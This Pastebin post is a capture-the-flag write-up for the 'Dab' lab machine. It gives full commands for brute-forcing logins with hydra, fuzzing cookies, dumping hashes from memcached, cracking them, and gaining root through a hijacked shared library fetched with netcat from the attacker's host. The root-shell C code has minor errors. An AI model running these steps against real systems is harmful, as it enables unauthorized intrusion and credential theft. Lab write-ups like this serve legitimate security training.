Advertisement
Guest User

Untitled

a guest
Sep 30th, 2018
2,977
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.45 KB | None | 0 0
  1. Dab Writeup by artikrh
  2.  
  3.  
  4.  
  5.  
  6. SPECIFICATIONS
  7.  
  8. CONTENTS
  9.  
  10. . Target OS: Linux
  11. . IP Address: 10.10.10.86
  12. . Difficulty: 6/10
  13.  
  14.  
  15.  
  16.  
  17. . Information Gathering
  18. . Getting User
  19. . Getting Root
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26. Information Gathering
  27.  
  28. As usually, we start with nmap to see which ports are open on the server.
  29.  
  30. $ mkdir nmap
  31.  
  32. $ nmap -sV -oA nmap/initial 10.10.10.86
  33.  
  34. ...
  35.  
  36. PORT STATE SERVICE VERSION
  37.  
  38. 21/tcp open ftp vsftpd 3.0.3
  39.  
  40. 22/tcp open tcpwrapped
  41.  
  42. 80/tcp open http nginx 1.10.3 (Ubuntu)
  43.  
  44. 8080/tcp open http nginx 1.10.3 (Ubuntu)
  45.  
  46. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  47.  
  48. ...
  49.  
  50. If script enumeration was activated with the -sC option, we would notice that the FTP anonymous
  51. login was enabled. The FTP server contains an image which includes steganography (a text file
  52. hidden with a blank password, which outputs “Nope...”, in other words, a troll).
  53.  
  54. Next, let’s check the web server running in port 80:
  55.  
  56.  
  57.  
  58. The root page redirects us to /login which requires credentials. If the wrong credentials are
  59. entered, the server will respond with an Error: Login failed message. Therefore, we will try
  60. brute forcing with hydra with the username of admin, since it is the most common one.
  61.  
  62. $ hydra -s 80 -l 'admin' -P
  63. /usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt 10.10.10.86
  64. http-post-form "/login:username=^USER^&password=^PASS^:F=Error: Login failed"
  65.  
  66. I usually use the SecLists password wordlists first when brute forcing services remotely before
  67. firing up the huge rockyou wordlist file. Eventually, we should have a password which turns out
  68. to be Password1. After logging in, we are presented with some stock items from a MySQL database
  69. (as denoted in the HTML source code). We notice a cookie will be set for both websites running
  70. in port 80 and 8080:
  71.  
  72. Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8
  73.  
  74. I found nothing more of interest in the website of port 80, so I switched to 8080. This is the HTTP
  75. request header by default (after retrieving the session cookie):
  76.  
  77. GET / HTTP/1.1
  78.  
  79. Host: 10.10.10.86:8080
  80.  
  81. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
  82.  
  83. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  84.  
  85. Accept-Language: en-US,en;q=0.5
  86.  
  87. Accept-Encoding: gzip, deflate
  88.  
  89. Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8
  90.  
  91. Connection: close
  92.  
  93. Upgrade-Insecure-Requests: 1
  94.  
  95. Which gives us the following message:
  96.  
  97. Access denied: password authentication cookie not set
  98.  
  99. Using Burp, I manually added another cookie with a random value to see if the response changes:
  100.  
  101. Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8;
  102. password=test
  103.  
  104. And now we get a different message:
  105.  
  106. Access denied: password authentication cookie incorrect
  107.  
  108. It seems that we passed the first step, but now we need to find the right value for the password
  109. cookie. I will use wfuzz for that and filter out reponses which have a character length of 324, which
  110. was the reponse length of an incorrect cookie.
  111.  
  112. $ wfuzz -z file,/usr/share/wordlists/SecLists/Passwords/darkweb2017-
  113. top10000.txt -b password=FUZZ --hh 324 http://10.10.10.86:8080/
  114.  
  115. ...
  116.  
  117.  
  118. 000211: C=200 21 L 48 W 540 Ch "secret"
  119.  
  120.  
  121. ...
  122.  
  123.  
  124.  
  125.  
  126. We got a different response length with password=secret cookie, and if we modify the request in
  127. Burp to this value and forward that packet, we get the following:
  128.  
  129.  
  130.  
  131. The fact that a cache engine is being mentioned is a huge hint. A quick google will eventually
  132. lead us to the memcached software which is a key-based cache that stores data and objects
  133. wherever spare RAM is available for quick access by applications, without going through layers
  134. of parsing or disk I/O. According to MySQL and memcached guide, by default, memcached uses
  135. the following settings:
  136.  
  137. • Memory allocation of 64MB
  138. • Listens for connections on all network interfaces, using port 11211
  139. • Supports a maximum of 1024 simultaneous connections
  140.  
  141.  
  142. We already have a potential TCP port number input that we can use to retrieve results. We can
  143. confirm this, because if we try port numbers other than 11211, we will get an internal server error.
  144.  
  145. Next, we need to know what line to send. For that, we will refer to the github wiki of memcached
  146. commands and the guide I mentioned above, specifically article 5.2 to get the slabs statistic. Based
  147. on the document, the stats slabs command retrieves slabs which have been allocated for storing
  148. information within the cache. If we run the command in the web interface, we get this output:
  149.  
  150. STAT 16:chunk_size 2904
  151.  
  152. STAT 16:chunks_per_page 361
  153.  
  154. STAT 16:total_pages 1
  155.  
  156. STAT 16:total_chunks 361
  157.  
  158. STAT 16:used_chunks 0
  159.  
  160. STAT 16:free_chunks 361
  161.  
  162. STAT 16:free_chunks_end 0
  163.  
  164. STAT 16:mem_requested 0
  165.  
  166. STAT 16:get_hits 32
  167.  
  168. STAT 16:cmd_set 25
  169.  
  170. STAT 16:delete_hits 0
  171.  
  172. STAT 16:incr_hits 0
  173.  
  174. STAT 16:decr_hits 0
  175.  
  176. STAT 16:cas_hits 0
  177.  
  178. STAT 16:cas_badval 0
  179.  
  180. STAT 16:touch_hits 0
  181.  
  182. STAT 26:chunk_size 27120
  183.  
  184. STAT 26:chunks_per_page 38
  185.  
  186. STAT 26:total_pages 1
  187.  
  188. STAT 26:total_chunks 38
  189.  
  190. STAT 26:used_chunks 1
  191.  
  192. STAT 26:free_chunks 37
  193.  
  194. STAT 26:free_chunks_end 0
  195.  
  196. STAT 26:mem_requested 24699
  197.  
  198. STAT 26:get_hits 45258
  199.  
  200. STAT 26:cmd_set 262
  201.  
  202. STAT 26:delete_hits 0
  203.  
  204. STAT 26:incr_hits 0
  205.  
  206. STAT 26:decr_hits 0
  207.  
  208. STAT 26:cas_hits 0
  209.  
  210. STAT 26:cas_badval 0
  211.  
  212. STAT 26:touch_hits 0
  213.  
  214. STAT active_slabs 2
  215.  
  216. STAT total_malloced 2078904
  217.  
  218. END
  219.  
  220. Each slab (in this case two active slabs) are assigned an unique ID (16 and 26). As seen in the
  221. output, quite a lot of space (27120) is allocated to the second chunk (with an ID of 26). Let’s try
  222. and dump the keys for this slab class using the stats cachedump 26 0 command, where 26 is the
  223. ID of the slab and 0 indicates no result limit. The output:
  224.  
  225. ITEM users [24625 b; 1535279887 s]
  226.  
  227. END
  228.  
  229. We get a key item called users, which we can retrieve its data with the get users command:
  230.  
  231.  
  232.  
  233.  
  234.  
  235. Getting User
  236.  
  237. We will save the JSON output to a file called get-users.txt and then use the json.tool python
  238. module to format the text:
  239.  
  240. $ cat get-users.txt | python -m json.tool > beautify.txt
  241.  
  242.  
  243.  
  244. We will now extract the usernames and MD5 hashes from beautify.txt:
  245.  
  246. $ cat beautify.txt | cut -d ":" -f 1 | cut -d '"' -f 2 > users.txt
  247.  
  248. $ cat beautify.txt | cut -d ":" -f 2 | cut -d '"' -f 2 > hashes.txt
  249.  
  250. Open an editor and delete the first and the last line for both of these files (the JSON brackets).
  251.  
  252. To make things easier and quicker, we will use the Metasploit framework to enumerate SSH users
  253. with our users.txt list using the auxiliary/scanner/ssh/ssh_enumusers module:
  254.  
  255. $ msfconsole -q
  256.  
  257. msf > use auxiliary/scanner/ssh/ssh_enumusers
  258.  
  259. msf auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.10.86
  260.  
  261. msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE files/users.txt
  262.  
  263. msf auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 10
  264.  
  265. msf auxiliary(scanner/ssh/ssh_enumusers) > run
  266.  
  267. [*] 10.10.10.86:22 - SSH - Using malformed packet technique
  268.  
  269. [*] 10.10.10.86:22 - SSH - Starting scan
  270.  
  271. ...
  272.  
  273. [+] 10.10.10.86:22 - SSH - User 'genevieve' found
  274.  
  275. ...
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283. Let’s also try to crack some of the MD5 hashes from our hashes.txt file using hashcat:
  284.  
  285. $ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt –
  286. force
  287.  
  288. ...
  289.  
  290. 2ac9cb7dc02b3c0083eb70898e549b63:Password1
  291.  
  292. 9731e89f01c1fb943cf0baa6772d2875:piggy
  293.  
  294. 6f9ff93a26a118b460c878dc30e17130:monkeyman
  295.  
  296. eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth
  297.  
  298. 1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster
  299.  
  300. 5177790ad6df0ea98db41b37b602367c:strength
  301.  
  302. 0ef9c986fad340989647f0001e3555d4:misfits
  303.  
  304. 0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1
  305.  
  306. fc7992e8952a8ff5000cb7856d8586d2:Princess1
  307.  
  308. c21f969b5f03d33d43e04f8f136e7682:default
  309.  
  310. 254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet
  311.  
  312. fe01ce2a7fbac8fafaed7c982a04e229:demo
  313.  
  314. ...
  315.  
  316. $ cat cracked.txt | cut -d ":" -f 2 > passwords.txt
  317.  
  318. The process will finish quickly as these 12 hashes are well-known and other hashes will be ignored.
  319. Otherwise, you would have to specify the -a 3 option of hashcat to try and crack every hash.
  320.  
  321. Now that we have a valid user (genevieve) and an extracted password list, let’s brute force the
  322. SSH service using hydra and then login to grab the user flag after successfully retrieving the
  323. password:
  324.  
  325. $ hydra -l 'genevieve' -P passwords.txt 10.10.10.86 ssh
  326.  
  327. ...
  328.  
  329. [22][ssh] host: 10.10.10.86 login: genevieve password: Princess1
  330.  
  331. ...
  332.  
  333. $ sudo apt install sshpass
  334.  
  335. $ sshpass -p 'Princess1' ssh genevieve@10.10.10.86
  336.  
  337. Getting Root
  338.  
  339. After logging in as genevieve, we start enumerating the machine for files and processes. If we run
  340. sudo -l, we see a binary /usr/bin/try_harder which can be executed with root privileges, but
  341. it turned out to be yet another troll.
  342.  
  343. One of the first steps during the enumeration phase I took was to find programs that had the sticky
  344. bit set:
  345.  
  346. $ find / -perm -u=s -type f 2>/dev/null
  347.  
  348. /bin/umount
  349.  
  350. /bin/ping
  351.  
  352. /bin/ping6
  353.  
  354. /bin/su
  355.  
  356. /bin/ntfs-3g
  357.  
  358. /bin/fusermount
  359.  
  360. /bin/mount
  361.  
  362. /usr/bin/at
  363.  
  364. /usr/bin/newuidmap
  365.  
  366. /usr/bin/passwd
  367.  
  368. /usr/bin/newgrp
  369.  
  370. /usr/bin/gpasswd
  371.  
  372. /usr/bin/chsh
  373.  
  374. /usr/bin/sudo
  375.  
  376. /usr/bin/newgidmap
  377.  
  378. /usr/bin/myexec
  379.  
  380. /usr/bin/pkexec
  381.  
  382. /usr/bin/chfn
  383.  
  384. /usr/lib/policykit-1/polkit-agent-helper-1
  385.  
  386. /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
  387.  
  388. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  389.  
  390. /usr/lib/eject/dmcrypt-get-device
  391.  
  392. /usr/lib/snapd/snap-confine
  393.  
  394. /usr/lib/openssh/ssh-keysign
  395.  
  396. /sbin/ldconfig
  397.  
  398. /sbin/ldconfig.real
  399.  
  400. We notice two unusual entries in this output:
  401.  
  402. • /usr/bin/myexec which must be a custom program;
  403. • /sbin/ldconfig which does not have the SUID permission set by default.
  404.  
  405.  
  406. If we run myexec, we will notice that it expects a password input to work. I tried guessing a bit,
  407. but that did not help, so I downloaded the binary in my own machine and analyzed it with radare2.
  408.  
  409. $ radare2 myexec
  410.  
  411. Let's analyze all flags using the aaa command and check the content of the main function:
  412.  
  413. [0x00400740]> aaa
  414.  
  415. [0x00400740]> pdf @ main
  416.  
  417.  
  418.  
  419. The password checking appears to take place here via the C strcmp function. A quick look into it
  420. and we see the hex representation in ASCII for the string (the actual password - s3cur3l0g1n)
  421. which will then be compared to our input. We will now try this password that we got through
  422. reverse engineering in the myexec program:
  423.  
  424. $ myexec
  425.  
  426. Enter password: s3cur3l0g1n
  427.  
  428. Password is correct
  429.  
  430. seclogin() called
  431.  
  432. TODO: Placeholder for now, function not implemented yet
  433.  
  434. This is the part which I spent a good amount of time looking into this binary file. One of the
  435. commands (besides the typical ones such as getfacl, getcap, etc.) is objdump which displays
  436. information from object files. Let's display the contents of all headers using the -x option for the
  437. myexec program:
  438.  
  439. $ objdump -x /usr/bin/myexec
  440.  
  441. ...
  442.  
  443. Dynamic Section:
  444.  
  445. NEEDED libseclogin.so
  446.  
  447. NEEDED libc.so.6
  448.  
  449. ...
  450.  
  451. As the output indicates, the myexec binary depends on two dynamic libraries (.so shared objects
  452. files). This means that the program references these libraries at runtime (similarly to Window's
  453. .dll). We can see this by running ldd which prints shared object dependencies:
  454.  
  455. $ ldd /usr/bin/myexec
  456.  
  457. linux-vdso.so.1 => (0x00007ffe00c69000)
  458.  
  459. libseclogin.so => /usr/lib/libseclogin.so (0x00007f880282f000)
  460.  
  461. libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8802465000)
  462.  
  463. /lib64/ld-linux-x86-64.so.2 (0x00007f8802a31000)
  464.  
  465. Let's focus in libseclogin.so library since libc is the C standard library. The libseclogin shared
  466. object is owned by root and we have no write permissions in the /usr/lib/ directory from where
  467. the library is referenced.
  468.  
  469. $ ls -la /usr/lib/libseclogin.so
  470.  
  471. -rwxr-xr-x 1 root root 8120 Mar 25 23:46 /usr/lib/libseclogin.so
  472.  
  473. The vector of attack here would be similar to python library hijacking, and we could actually
  474. configure dynamic linker run-time bindings using the ldconfig command. Normally, we would
  475. need root privileges to do such operations, unless the sticky bit is set for ldconfig (which is
  476. unusual, but in this case it is configured so as we mentioned it earlier). This is where privilege
  477. escalation takes place, as we can manually link libraries using the -l option of ldconfig.
  478.  
  479. I wrote a simple C piece of code to spawn a root shell as libseclogin.c:
  480.  
  481. #include <stdio.h>
  482.  
  483. int main(void){
  484.  
  485. setuid(0);
  486.  
  487. setgid(0);
  488.  
  489. system("/bin/bash", NULL, NULL);
  490.  
  491. }
  492.  
  493. Let’s compile this code as a shared library file and transfer it to the Dab machine:
  494.  
  495. $ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
  496.  
  497. $ nc -lvnp 9191 < libseclogin.so
  498.  
  499. In the remote machine:
  500.  
  501. $ cd /dev/shm
  502.  
  503. $ nc 10.10.15.54 9191 > libseclogin.so
  504.  
  505. $ chmod +x libseclogin.so
  506.  
  507. $ ldconfig -l /dev/shm/libseclogin.so
  508.  
  509. Since dynamic linker uses the LD_LIBRARY_PATH variable, we need to set that up too:
  510.  
  511. $ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
  512.  
  513. Now if we run ldd again on the binary, we will notice that libseclogin.so will be referenced in
  514. /dev/shm/libseclogin.so. When we run myexec, it will spawn us a root shell after entering the
  515. password:
  516.  
  517. $ myexec
  518.  
  519. Enter password: s3cur3l0g1n
  520.  
  521. Password is correct
  522.  
  523. # wc -c /root/root.txt
  524.  
  525. 33 /root/root.txt
  526.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement